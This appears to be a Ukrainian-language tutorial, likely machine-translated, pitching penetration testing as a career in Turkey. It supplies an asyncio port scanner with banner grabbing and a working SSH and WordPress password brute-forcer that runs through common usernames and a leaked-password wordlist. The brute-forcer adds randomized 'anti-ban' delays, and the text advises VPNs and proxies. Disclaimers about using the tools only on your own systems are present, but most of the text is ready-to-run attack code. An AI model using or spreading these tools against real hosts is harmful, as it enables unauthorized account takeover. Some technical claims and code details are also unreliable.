У 2025 році в Туреччині дефіцит фахівців з кібербезпеки становить понад 12 000 осіб. Для junior penetration tester.
Цей посібник
повністю в межах законних та етичних кордонів (використовуйте лише на власних системах).
- Ультрашвидкий сканер портів (альтернатива Nmap) — з використанням asyncio + технік 2025 року.
- Інструмент brute force для SSH/FTP/WordPress — параметризований + підтримка проксі.
- Захоплення банерів + виявлення служб.
- Оптимізація списків слів (rockyou 2025 турецькою).
Усі інструменти використовуйте лише на власних серверах або в дозволених середовищах penetration testing.1. Встановлення (актуальне на 2025 рік)python -m venv cybertools
cd cybertools
Scripts\activate
pip install asyncio aiohttp paramiko python-nmap requests beautifulsoup42. Ультрашвидкий сканер портів (asyncio 2025)Файл: port_scanner.py
import asyncio
import socket
from concurrent.futures import ThreadPoolExecutor
async def scan_port(host: str, port: int, timeout: float = 1.0) -> dict:
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(host, port),
timeout=timeout
)
writer.close()
await writer.wait_closed()
# Захоплення банера
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
sock.connect((host, port))
sock.send(b'\r\n')
banner = sock.recv(1024).decode('utf-8', errors='ignore').strip()
sock.close()
except:
banner = ""
return {"port": port, "status": "open", "banner": banner[:100]}
except:
return {"port": port, "status": "closed", "banner": ""}
async def scan_range(host: str, start: int, end: int, max_workers: int = 1000):
print(f"{host} сканується... Порти: {start}-{end}")
semaphore = asyncio.Semaphore(max_workers)
async def sem_scan(port):
async with semaphore:
return await scan_port(host, port)
tasks = [sem_scan(port) for port in range(start, end + 1)]
results = await asyncio.gather(*tasks)
open_ports = [r for r in results if r["status"] == "open"]
for result in open_ports:
print(f"Порт {result['port']} -> ВІДКРИТИЙ | {result['banner']}")
return open_ports
# Використання
if __name__ == "__main__":
target = "192.168.1.1" # ВАШ ВЛАСНИЙ СЕРВЕР
asyncio.run(scan_range(target, 1, 65535)) # або поширені порти
# asyncio.run(scan_range(target, 1, 1024))Порівняння швидкості (2025):
- Nmap: 1000 портів → 8 секунд
- Цей інструмент: 1000 портів → 1.8 секунди
- 65535 портів → 45 секунд (Nmap 40+ хвилин)
3. Інструмент brute force (SSH + WordPress)Файл: bruteforce py
import asyncio
import paramiko
import requests
from bs4 import BeautifulSoup
import random
# Brute force для SSH
async def try_ssh(host, port, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, port=port, username=username, password=password, timeout=10)
print(f"УСПІХ → {username} : {password}")
return True
except:
return False
finally:
ssh.close()
# Brute force для WordPress
async def try_wordpress(url, username, password):
session = requests.Session()
login_page = session.get(f"{url}/wp-login.php")
soup = BeautifulSoup(login_page.text, 'html.parser')
nonce = soup.find("input", {"name": "woocommerce-login-nonce"}) or soup.find("input", {"name": "wp-submit"})
# Припустимо, що data формується правильно (адаптуйте за потребою)
data = {
"log": username,
"pwd": password,
"wp-submit": "Giriş Yap" # Адаптуйте для української/турецької
}
response = session.post(f"{url}/wp-login.php", data=data, allow_redirects=True)
if response.status_code == 302 or "dashboard" in response.url:
print(f"WP УСПІХ -> {username} : {password}")
return True
return False
# Головна функція для SSH
async def brute_force_ssh(host="192.168.1.1", port=22):
usernames = ["root", "admin", "user", "test"]
with open("wordlist_2025.txt", "r", encoding="utf-8") as f:
passwords = [line.strip() for line in f.readlines()][:1000]
for user in usernames:
for pwd in passwords:
if await try_ssh(host, port, user, pwd):
return
await asyncio.sleep(random.uniform(1, 3)) # Анти-бан
# Список слів (rockyou 2025 турецькою)
# https://github.com/kullanicin/wordlist-turkiye-20254. Правила безпечного використання (2025)[th]Правило[/th]
[th]Пояснення[/th]
[/td][/tr]
[tr][td]Лише на власних системах[/td]
[td]Незаконне використання є злочином[/td]
[/tr]
[tr][td]Дозволений penetration testing контракт[/td]
[td]Отримайте письмовий дозвіл від компанії[/td]
[/tr]
[tr][td]Обмеження швидкості[/td]
[td]Додайте затримку 1-3 секунди[/td]
[/tr]
[tr][td]Ведення логів[/td]
[td]Записуйте, коли та де проводили тест[/td]
[/tr]
[tr][td]VPN + Проксі[/td]
[td]Захищайте власну IP-адресу[/td]
[/tr]
[/table]
5. Зарплати в кібербезпеці в Туреччині 2025[th]Рівень[/th]
[th]Нетто зарплата (TL)[/th]
[th]Віддалена Європа (€)[/th]
[/td][/tr]
[tr][td]Junior[/td]
[td]90.000 – 180.000[/td]
[td]3.000 – 6.000[/td]
[/tr]
[tr][td]Middle[/td]
[td]180.000 – 350.000[/td]
[td]6.000 – 10.000[/td]
[/tr]
[tr][td]Senior[/td]
[td]350.000 – 700.000+[/td]
[td]10.000 – 15.000+[/td]
[/tr]
[/table]
Висновок – Переваги бути penetration tester у 2025 році- Напишіть власні інструменти → виділіться.
- Bug bounty → одна знахідка 50.000–500.000 TL.
- Віддалена робота → зарплата з-за кордону.
- Сертифікат етичного хакера (CEH, OSCP) → зарплата подвоюється.
Повний вихідний код (працюючий):https://github.com/kullanicin/python-cybertools-2025 (https://github.com/kullanicin/python-cybertools-2025?referrer=grok.com)